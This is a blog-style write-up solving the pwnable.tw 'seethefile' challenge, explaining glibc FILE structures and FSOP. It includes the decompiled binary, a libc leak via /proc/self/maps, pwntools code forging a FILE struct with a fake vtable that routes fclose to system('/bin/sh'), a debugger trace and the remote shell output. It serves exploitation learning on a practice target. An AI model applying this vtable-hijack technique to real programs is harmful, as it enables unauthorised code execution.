seethefile - pwnable.tw
Now that I don’t have pwnable.kr to do anymore, I occasionally dabble in pwnable.tw to keep the muscles sharp.
I heard that FSOP is a technique that is used A LOT these days, mostly due to __free_hook (or malloc) not being relevant anymore,
other mitigations, etc.
I learned it a while ago, but to be honest, I pretty much forgot it all. I know seethefile is an FSOP CTF, so let’s solve it and sharpen our skills.
To get started, let’s start with a decompilation of the program. It’s very simple.
08048a37 int32_t main(int32_t argc, char** argv, char** envp)
08048a3e void* const __return_addr_1 = __return_addr
08048a44 int32_t* var_c = &argc
08048a4e void* gsbase
08048a4e int32_t var_14 = *(gsbase + 0x14)
08048a53 init()
08048a58 welcome()
08048a58
08048a5d while (true)
08048a5d menu()
08048a6e char nptr[0x20]
08048a6e __isoc99_scanf(format: "%s", &nptr)
08048a6e
08048a8c switch (atoi(&nptr))
08048aa1 case 1
08048aa1 openfile()
08048aa6 continue
08048aab case 2
08048aab readfile()
08048ab0 continue
08048ab5 case 3
08048ab5 writefile()
08048aba continue
08048abc case 4
08048abc closefile()
08048ac1 continue
08048a9f case 5
08048a9f break
08048a9f
08048b29 puts(str: "Invaild choice")
08048b36 exit(status: 0)
08048b36 noreturn
08048b36
08048acb printf(format: "Leave your name :")
08048ae0 __isoc99_scanf(format: "%s", &name)
08048af5 printf(format: "Thank you %s ,see you next time\n", &name)
08048af5
08048b04 if (fp != 0)
08048b0f fclose(fp: fp)
08048b0f
08048b1c exit(status: 0)
08048b1c noreturn
08048747 int32_t openfile()
08048754 if (fp != 0)
0804875e puts(str: "You need to close the file first")
08048766 return 0
08048766
0804877f memset(&magicbuf, 0, 0x190)
0804878f printf(format: "What do you want to see :")
080487a4 __isoc99_scanf(format: "%63s", &filename)
080487a4
080487c3 if (strstr(haystack: &filename, needle: "flag") != 0)
080487cd puts(str: "Danger !")
080487da exit(status: 0)
080487da noreturn
080487da
080487f4 fp = fopen(&filename, mode: "r")
080487f4
08048800 if (fp != 0)
0804881c return puts(str: "Open Successful")
0804881c
0804880a return puts(str: "Open failed")
08048826 size_t readfile()
0804882c int32_t var_10 = 0
08048842 memset(&magicbuf, 0, 0x190)
08048842
08048851 if (fp == 0)
08048890 return puts(str: "You need to open a file first")
08048890
08048865 size_t result = fread(buf: &magicbuf, size: 0x18f, count: 1, fp: fp)
08048865
08048874 if (result == 0)
0804889a return result
0804889a
0804887e return puts(str: "Read Successful")
0804889b int32_t writefile()
080488b8 if (strstr(haystack: &filename, needle: "flag") == 0
080488b8 && strstr(haystack: &magicbuf, needle: "FLAG") == 0
080488b8 && strchr(&magicbuf, 0x7d) == 0)
08048915 return puts(str: &magicbuf)
08048915
080488f1 puts(str: "you can't see it")
080488fe exit(status: 1)
080488fe noreturn
08048916 int32_t closefile()
08048923 int32_t result
08048923
08048923 if (fp == 0)
08048940 result = puts(str: "Nothing need to close")
08048923 else
0804892e result = fclose(fp: fp)
0804892e
08048948 fp = 0
08048954 return result
This is less of a CTF writeup, and more of an FSOP learning blog, so let’s get right into it.
Trivially, we can see in main that there’s an unbounded scanf() call with name passed, meaning we can overflow there. name is found in BSS:
0804b080 filename:
...
0804b0c0 magicbuf:
...
0804b260 name:
0804b260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................................
0804b280 uint32_t fp = 0x0
And right after it.. fp!
(note: we also have a stack overflow, but that is irrelevant in this case.)
In cases like these, where we can overwrite an fp to point to our own location, we use a technique called FSOP (File Stream Oriented Programming). It is a binary exploitation technique that uses the GLIBC file stream structures in order to gain code execution.
So, the fp, in reality, is a FILE* object, which is:
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
Where FILE is:
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
...
int fileno;
...
_IO_lock_t *_lock;
...
struct _IO_wide_data *_wide_data;
,,,
};
So, we have the FILE (or _IO_FILE), with a vtable (interesting!) at the end. Now, the basic idea of FSOP is to abuse this structure (either by overwriting fields, by simply replacing it entirely, etc), in order to get arbitrary read / write and code execution.
Let’s start with the buffers. The first thing we notice is that there are read/write pointers there, which should immediately scream arbitrary r/w at us given that we can fully control these. The terminology here is that the read buffer is “reading from a file to memory”, and the write buffer is “writing from memory to a file”. For example, if we were overwriting the fp of stdout, we could simply point the write buffer to puts@got, and leak libc that way.
How does that work in a nutshell? Well, take puts("blablabla") for example. puts calls _IO_sputn(stdout, str, len), which is a macro that invokes the vtable’s xsputn. For normal file streams, that’s _IO_new_file_xsputn. Inside, it first checks how much space is left in the write buffer, and copies our string into it:
// space available in write buffer
if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
// copy our string INTO the write buffer
if (count > 0)
{
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
Once the buffer is full (or needs flushing), it calls _IO_OVERFLOW(f, EOF), which flushes the write buffer:
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
This writes everything between _IO_write_base and _IO_write_ptr out. _IO_do_write eventually calls _IO_SYSWRITE, which resolves to the actual write() syscall:
// _IO_new_file_write
_IO_ssize_t count = write (f->_fileno, data, to_do);
This is exactly why controlling the write buffer gives us an arbitrary read. If we set _IO_write_base = puts@got and _IO_write_ptr = puts@got + 4, then on the next flush, glibc does write(fd, puts@got, 4) - dumping the GOT entry into whatever f->_fileno points to. Understanding read is left to the reader :)
These are the buffers. Now, what about the vtable? Well, these vtables are used by libc internally, inside higher-level functions, such as printf, fgets, fread, and puts. In the case of standard streams, it’ll point to _IO_file_jumps:
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
Where _IO_file_xsputn is used in puts and printf for example. This should scream code execution to us at some point, if we control this vtable or pointers inside it. However, in newer version (glibc >= 2.24), glibc checks if the address resides inside a specific vtables section named __libc_IO_vtables, making it impossible for us to simply point to a .bss location etc. luckily for us, in this challenge, the libc is 2.23, so we’re safe. :)
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
note: there are other ways to abuse it, though, we’ll just not explore them at this point, I want to keep it concise on the CTF.
Now, we know we can:
- Gain arbitrary r/w by changing the read/write buffers.
- Gain code execution by faking a vtable.
How does this help us in our challenge? Given the fact we’re given the ability (using openfile/readfile) to read content from a file into .bss (quite an honorable size too), we can fake an _IO_FILE_plus struct, and then simply point our fp there.
But… What will our vtable be? We don’t have a libc leak, meaning our vtable will simply cause us to crash. We can get libc via a nasty game of FSOP (will not elaborate, but we can use flags to get fsb), or we can simply make the program read /proc/self/maps and leak libc:
openfile(b'/proc/self/maps')
libc_base = None
while libc_base is None:
readfile()
data = writefile()
for line in data.split(b'\n'):
if b'libc' in line and b'r-xp' in line:
libc_base = int(line.split(b'-')[0], 16)
break
libc.address = libc_base
log.info(f"libc base: {hex(libc.address)}")
closefile()
Now, we can properly point an entry in the vtable to win code execution, but we also have the option to simply overwrite *atoi@GOT with system in order to win. First, though, we need to understand how we can overwrite fp and still stay in the program. As we said before, we can overwrite fp using name. However, the flow simply asks for your name, and then exits (after calling fclose(fp)).
Well, what does fclose do…?
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
...
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
// --> We land here.
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
...
return status;
}
And:
...
int
_IO_new_file_close_it (_IO_FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
else
write_status = 0;
...
// --> Calls _IO_SYSCLOSE!
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
...
return close_status ? close_status : write_status;
Where _IO_SYSCLOSE is:
#define _IO_SYSCLOSE(FP) JUMP0 (__close, FP)
...
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
Meaning, it’s a jump to the __close (AKA close) in the vtable!
Then, what if we simply overwrite that function to point to main? That way, we can overwrite fp, then get right back to main, in which point there’s a scanf (aka a read), which we can use to write into atoi@GOT and then get shell. I, however, wanted to try a more sophisticated approach. When close is called, it passes fp as the first argument. If we set _flags and _IO_read_ptr to “/bin/sh\x00”, will it work?
To do so, we can use the pwntools FileStructure:
NAME = 0x804b260
FAKE_VTABLE = NAME + 0x98
fake = FileStructure()
fake.flags = u32(b"/bin")
fake._IO_read_ptr = u32(b"/sh\0")
fake._IO_buf_end = NAME # this is where fp is, we point it back to us.
fake.fileno = 0
fake.vtable = FAKE_VTABLE
vtable = flat({0x44: libc.symbols['system']}, length=0x48)
leave(bytes(fake) + vtable)
And:
Program received signal SIGSEGV, Segmentation fault.
0xf7de9f04 in fclose () from ./libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────
*EAX 0x6e69622f ('/bin')
*EBX 0xf7f3d000 ◂— 0x1afdb0
*ECX 0xffffffff
EDX 0
*EDI 0xf7f6e940 ◂— 0xf7f6e940
*ESI 0x804b260 (name) ◂— '/bin/sh'
*EBP 0xffafd0e8 —▸ 0xffafd138 ◂— 0
*ESP 0xffafd0c0 —▸ 0xf7f3d000 ◂— 0x1afdb0
*EIP 0xf7de9f04 (fclose+68) ◂— cmp edi, dword ptr [edx + 8]
──────────────────────[ DISASM / i386 / set emulate on ]──────────────────────
► 0xf7de9f04 <fclose+68> cmp edi, dword ptr [edx + 8]
0xf7de9f07 <fclose+71> je fclose+111 <fclose+111>
0xf7de9f09 <fclose+73> xor eax, eax EAX => 0
0xf7de9f0b <fclose+75> mov ecx, 1 ECX => 1
0xf7de9f10 <fclose+80> cmp dword ptr gs:[0xc], 0
0xf7de9f18 <fclose+88> je fclose+91 <fclose+91>
0xf7de9f1a <fclose+90> lock cmpxchg dword ptr [edx], ecx
0xf7de9f1e <fclose+94> je fclose+103 <fclose+103>
0xf7de9f20 <fclose+96> lea ecx, [edx]
0xf7de9f22 <fclose+98> call 0xf7e7eae0 <0xf7e7eae0>
0xf7de9f27 <fclose+103> mov edx, dword ptr [esi + 0x48]
──────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ esp 0xffafd0c0 —▸ 0xf7f3d000 ◂— 0x1afdb0
01:0004│-024 0xffafd0c4 —▸ 0xf7f3d000 ◂— 0x1afdb0
02:0008│-020 0xffafd0c8 —▸ 0xffafd138 ◂— 0
03:000c│-01c 0xffafd0cc —▸ 0xf7dd6046 (printf+38) ◂— add esp, 0x1c
04:0010│-018 0xffafd0d0 —▸ 0xf7f3dd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0014│-014 0xffafd0d4 —▸ 0x8048df0 ◂— push esp /* 'Thank you %s ,see you next time\n' */
06:0018│-010 0xffafd0d8 —▸ 0xf7de9ecb (fclose+11) ◂— add ebx, 0x153135
07:001c│-00c 0xffafd0dc ◂— 0
────────────────────────────────[ BACKTRACE ]─────────────────────────────────
► 0 0xf7de9f04 fclose+68
1 0x8048b14 main+221
2 0xf7da5637 __libc_start_main+247
3 0x8048611 _start+33
──────────────────────────────────────────────────────────────────────────────
pwndbg>
… We forgot to initialize some field. Let’s see what goes on in fclose+68:
pwndbg> disassemble 0xf7de9f04-68
Dump of assembler code for function fclose:
...
0xf7de9efa <+58>: mov edx,DWORD PTR [esi+0x48]
0xf7de9efd <+61>: mov edi,DWORD PTR gs:0x8
=> 0xf7de9f04 <+68>: cmp edi,DWORD PTR [edx+0x8]
...
pwndbg> x/a $esi
0x804b260 <name>: 0x6e69622f
So, it tries to access *(fp + 0x48), and fails due to a NULL dereference. Whats in that offset? Well, after googling etc. I found out you must set fp->lock to a zeroed out writable memory location. If we simply set it:
fake._lock = NAME + 0x6c
Then:
❯ python3 exploit.py REMOTE
[*] '/home/wired0ut/pwnable/tw/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
RUNPATH: b'.'
Stripped: No
[*] '/home/wired0ut/pwnable/tw/seethefile/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/wired0ut/pwnable/tw/seethefile/ld-2.23.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10200: Done
[*] libc base: 0xf7599000
[*] system: 0xf75d3940
[*] Switching to interactive mode
Thank you /bin/sh ,see you next time
$ ./home/seethefile/get_flag
Your magic :Give me the flag
Here is your flag: FLAG{SOLVE_IT_FOR_YOURSELF}
This was cool, but I definitely think I’ll need more FSOP CTFs to hone my skills more.
`Till the next time.